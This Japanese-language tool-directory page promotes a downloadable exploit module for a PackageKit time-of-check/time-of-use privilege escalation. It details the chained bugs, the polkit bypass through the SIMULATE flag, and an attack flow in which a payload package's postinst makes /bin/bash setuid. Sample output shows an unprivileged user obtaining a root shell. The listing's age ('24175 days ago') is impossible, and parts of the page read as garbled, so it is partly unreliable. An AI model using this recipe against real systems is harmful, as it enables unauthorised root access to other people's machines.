Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-41651 — CVE-2026-41651に特化したリポジトリで、この単一のセキュリティ問題に関する脆弱性固有の情報と分析を収めています。 | Kitploit
ツール/GitHubGitHub/zerodayevil/cve-2026-41651
脆弱性分析エクスプロイト論文と研究
GitHubzerodayevil/cve-2026-41651

CVE-2026-41651

CVE-2026-41651に特化したリポジトリで、この単一のセキュリティ問題に関する脆弱性固有の情報と分析を収めています。

リポジトリを見る
24175日前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

🛡️ AIセキュリティツールモジュール
CVE-2026-41651: PackageKit TOCTOU ローカル権限昇格 (Pack2TheRoot)

AIセキュリティツールエコシステム向け公式セキュリティ監査・エクスプロイトモジュール


Latest Release Build Status Donations Telegram Channel License

🌐 Webデモ • 📚 プロジェクトサイト • 💬 コミュニティチャット

サイトナビゲーション: ホーム • アップデート • ダウンロード • モジュール

AI Security Tool Banner


🧠 概念の概要

本モジュールは、PackageKitのトランザクションハンドラ(packagekitd)に存在する重大なTime-of-Check to Time-of-Use(TOCTOU)競合状態であるCVE-2026-41651(Pack2TheRoot)に対する診断ツールと詳細な技術分析を提供します。

この脆弱性により、ローカルの非特権ユーザーであれば誰でも認証チェックを回避し、認証を必要とせずにroot権限で任意のパッケージをインストールすることが可能になります。

Platform Language CVSS Status

📊 脆弱性仕様

仕様 割り当て値 備考
CVE識別子 CVE-2026-41651 PackageKit TOCTOU ローカル権限昇格
コンポーネント PackageKit デーモン (packagekitd) コアトランザクションハンドラ
影響を受けるバージョン 1.0.2 – 1.3.4 未パッチのデーモンリリース
修正済みバージョン 1.3.5 トランザクションハンドラに状態ガードを追加
影響とベクター ローカル権限昇格 → root 認証やユーザー操作は不要
テスト済みプラットフォーム Ubuntu 24.04、Debian 12 標準的なシステム構成

demo デモンストレーション

poc

🔬 脆弱性の技術的詳細

src/pk-transaction.c 内の3つの異なるバグが連鎖し、認可と実行の間にTOCTOUウィンドウを生み出します:

  • バグ1 — 無条件のフラグ上書き(4036行目): InstallFiles() は状態チェックなしで cached_transaction_flags と cached_full_paths を無条件に上書きします。
  • バグ2 — 状態遷移の暗黙的な拒否(876~881行目): pk_transaction_set_state() はフラグが上書きされたまま、後方への状態遷移を暗黙的に破棄します。
  • バグ3 — フラグの遅延読み取り(2273~2277行目): pk_transaction_run() は認可時ではなく、GLibアイドルからのディスパッチ時にキャッシュされたフラグを読み取ります。
  • おまけ — SIMULATEがpolkitをバイパス(2893~2900行目): PK_TRANSACTION_FLAG_SIMULATE(ビット2、値 0x4)を設定すると、polkitチェックが完全にスキップされます。

🕸 エクスプロイトフローアーキテクチャ

攻撃者                            packagekitd
    │                                   │
    │ CreateTransaction()               │
    │─────────────────────────────────►│ state = NEW
    │◄─────────────────────────────────│
    │                                   │
    │ InstallFiles(SIMULATE, dummy)     │
    │─────────────────────────────────►│ SIMULATE → polkit スキップ
    │◄─────────────────────────────────│ state = READY
    │                                   │ g_idle_add(run_idle_cb) ← キュー登録
    │                                   │
    │ InstallFiles(NONE, payload)       │ [バグ 1] フラグ + パスが上書きされる
    │─────────────────────────────────►│ [バグ 2] set_state(WAITING_FOR_AUTH)
    │◄─────────────────────────────────│   → 暗黙的に拒否される
    │                                   │   state は READY のまま
    │                                   │
    │                                   │ [idle 発火]
    │                                   │ pk_transaction_run()
    │                                   │ [バグ 3] NONE + payload を読み取る
    │                                   │ → dpkg が payload を root でインストール
    │                                   │ → postinst: chmod +s /bin/bash
    │                                   │
    │ execv("/tmp/.suid_bash -p")       │
    │─────────────────────────────────►│
    │ euid=0(root)                      │

両方の InstallFiles 呼び出しは、クライアントのメインループが反復する前に、fire-and-forget の非同期 D-Bus 呼び出しとして送信されます。Polkitd は最終的に 2 回目の呼び出しに対して NOT_AUTHORIZED を返しますが、その時点で APT はすでにインストールをディスパッチしています。

🛠 モジュールのビルドと実行要件

sudo apt install libglib2.0-dev make

その他の依存関係はありません — .deb パッケージは実行時に純粋な C でビルドされます。

出力例:

═══════════════════════════════════════════════════
 CVE-2026-41651 — PackageKit TOCTOU LPE
═══════════════════════════════════════════════════
[*] Building packages (pure C)...
[+] dummy   : /tmp/.pk-dummy-47.deb
[+] payload : /tmp/.pk-payload-47.deb
[*] Transaction : /1_acdcacbe
[*] Step 1 : InstallFiles(SIMULATE=0x4, dummy) [async]
[*] Step 2 : InstallFiles(NONE=0x0, payload)   [async]
[*] Waiting for dispatch (30 s max)...
[!] PK error 48: Failed to obtain authentication.
[*] Finished (exit=2, 10 ms)
[*] Polling for payload (120 s max tabular)...
[+] SUCCESS — SUID bash at t+200ms
uid=1001(victim) gid=1001(victim) euid=0(root) groups=1001(victim)
.suid_bash-5.2# id
uid=1001(victim) gid=1001(victim) euid=0(root) groups=1001(victim)
ツールをダウンロード